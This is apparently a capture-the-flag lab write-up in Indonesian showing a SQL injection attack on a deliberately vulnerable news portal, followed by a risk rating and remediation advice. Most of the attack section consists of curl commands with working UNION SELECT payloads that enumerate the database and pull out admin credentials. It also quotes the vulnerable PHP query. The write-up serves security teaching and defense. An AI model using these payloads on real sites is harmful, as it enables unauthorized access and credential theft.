TDCTF Academy Logo TDCTF ACADEMY

Portal Berita - SQL Injection to Admin Panel

Objective

Mendapatkan akses ke panel admin portal berita di portal-vuln.vuln.cybersecurity.or.id dengan mengeksploitasi celah SQL Injection (SQLi) pada parameter id di URL. Target akhir adalah masuk ke halaman admin dan membuktikan akses tidak sah.


Reconnaissance

Langkah pertama adalah mengidentifikasi parameter yang rentan terhadap SQL Injection.

1. Identifikasi Parameter

Buka halaman portal berita:

http://portal-vuln.vuln.cybersecurity.or.id

Ditemukan artikel dengan URL seperti:

http://portal-vuln.vuln.cybersecurity.or.id/berita.php?id=1

2. Uji Karakter Spesial

Uji dengan tanda petik satu (') dan petik dua ("):

curl "http://portal-vuln.vuln.cybersecurity.or.id/berita.php?id=1'"

Hasil:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1

Error muncul - mengindikasikan error-based SQL Injection.

curl "http://portal-vuln.vuln.cybersecurity.or.id/berita.php?id=1\""

Tidak ada error - kemungkinan database menggunakan MySQL dengan delimiter '.

3. Uji dengan ORDER BY - Tentukan Jumlah Kolom

curl "http://portal-vuln.vuln.cybersecurity.or.id/berita.php?id=1 ORDER BY 3-- -"

Hasil: Halaman normal (3 kolom).

curl "http://portal-vuln.vuln.cybersecurity.or.id/berita.php?id=1 ORDER BY 4-- -"

Hasil: Error - artinya hanya ada 3 kolom.


Exploitation

1. Uji UNION SELECT untuk Menampilkan Data

curl "http://portal-vuln.vuln.cybersecurity.or.id/berita.php?id=-1 UNION SELECT 1,2,3-- -"

Hasil: Angka 1, 2, 3 muncul di halaman - kolom ke-1, 2, dan 3 bisa digunakan.

2. Enumerasi Database

Dapatkan nama database saat ini:

curl "http://portal-vuln.vuln.cybersecurity.or.id/berita.php?id=-1 UNION SELECT 1,database(),3-- -"

Hasil:

portal_db

Dapatkan daftar tabel dari information_schema:

curl "http://portal-vuln.vuln.cybersecurity.or.id/berita.php?id=-1 UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema='portal_db'-- -"

Hasil:

berita,users,admin

3. Enumerasi Kolom Tabel Admin

curl "http://portal-vuln.vuln.cybersecurity.or.id/berita.php?id=-1 UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name='admin'-- -"

Hasil:

id,username,password,role

4. Ekstrak Kredensial Admin

curl "http://portal-vuln.vuln.cybersecurity.or.id/berita.php?id=-1 UNION SELECT 1,GROUP_CONCAT(username,':',password),3 FROM admin-- -"

Hasil:

admin:sup3rsecret_p@ss

5. Login ke Panel Admin

Akses halaman login admin:

http://portal-vuln.vuln.cybersecurity.or.id/admin/login.php

Masukkan kredensial:

  • Username: admin
  • Password: sup3rsecret_p@ss

Hasil: Berhasil login ke dashboard admin.


Evidence

Output Curl - SQL Error

$ curl "http://portal-vuln.vuln.cybersecurity.or.id/berita.php?id=1'"
You have an error in your SQL syntax; check the manual...

Output Curl - UNION SELECT Ekstrak Data

$ curl "http://portal-vuln.vuln.cybersecurity.or.id/berita.php?id=-1 UNION SELECT 1,GROUP_CONCAT(username,':',password),3 FROM admin-- -"
1 admin:sup3rsecret_p@ss 3

Screenshot Admin Panel

[MEDIA:/home/labkom/docs/docs/writeups/evidence/portal-admin-panel.png]

Setelah login, session cookie:

PHPSESSID=abc123def456admin

️ Risk Assessment

Faktor Nilai
CVSS 3.1 Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base Score 9.8 (Critical)
Attack Vector Network (N) - bisa dieksploitasi dari jarak jauh
Attack Complexity Low (L) - tidak perlu knowledge khusus
Privileges Required None (N) - tanpa autentikasi
User Interaction None (N)
Impact High (H) pada Confidentiality, Integrity, Availability
OWASP Mapping A03:2021 - Injection

Dampak Bisnis

  • Akses penuh ke panel admin portal berita
  • Kemampuan memodifikasi/menghapus berita
  • Potensi defacement website
  • Eksfiltrasi data pengguna
  • Pivot ke server internal

️ Remediation

1. Gunakan Prepared Statement (Parameterized Query)

Kode rentan (PHP):

$id = $_GET['id'];
$query = "SELECT * FROM berita WHERE id = $id";
$result = mysqli_query($conn, $query);

Kode aman (Prepared Statement):

$stmt = $conn->prepare("SELECT * FROM berita WHERE id = ?");
$stmt->bind_param("i", $_GET['id']);
$stmt->execute();
$result = $stmt->get_result();

2. Implementasi WAF (Web Application Firewall)

Pasang ModSecurity atau layanan WAF cloud (Cloudflare, AWS WAF) untuk memblokir payload SQL Injection.

Contoh aturan ModSecurity:

SecRule ARGS "@detectSQLi" "id:101010,phase:2,deny,status:403,msg:'SQL Injection Detected'"

3. Validasi Input

if (!is_numeric($_GET['id'])) {
die("Invalid input");
}

4. Least Privilege Database

Jangan gunakan user database root. Buat user terbatas:

CREATE USER 'portal_user'@'localhost' IDENTIFIED BY 'strong_password';
GRANT SELECT ON portal_db.* TO 'portal_user'@'localhost';

References

PADA HALAMAN INI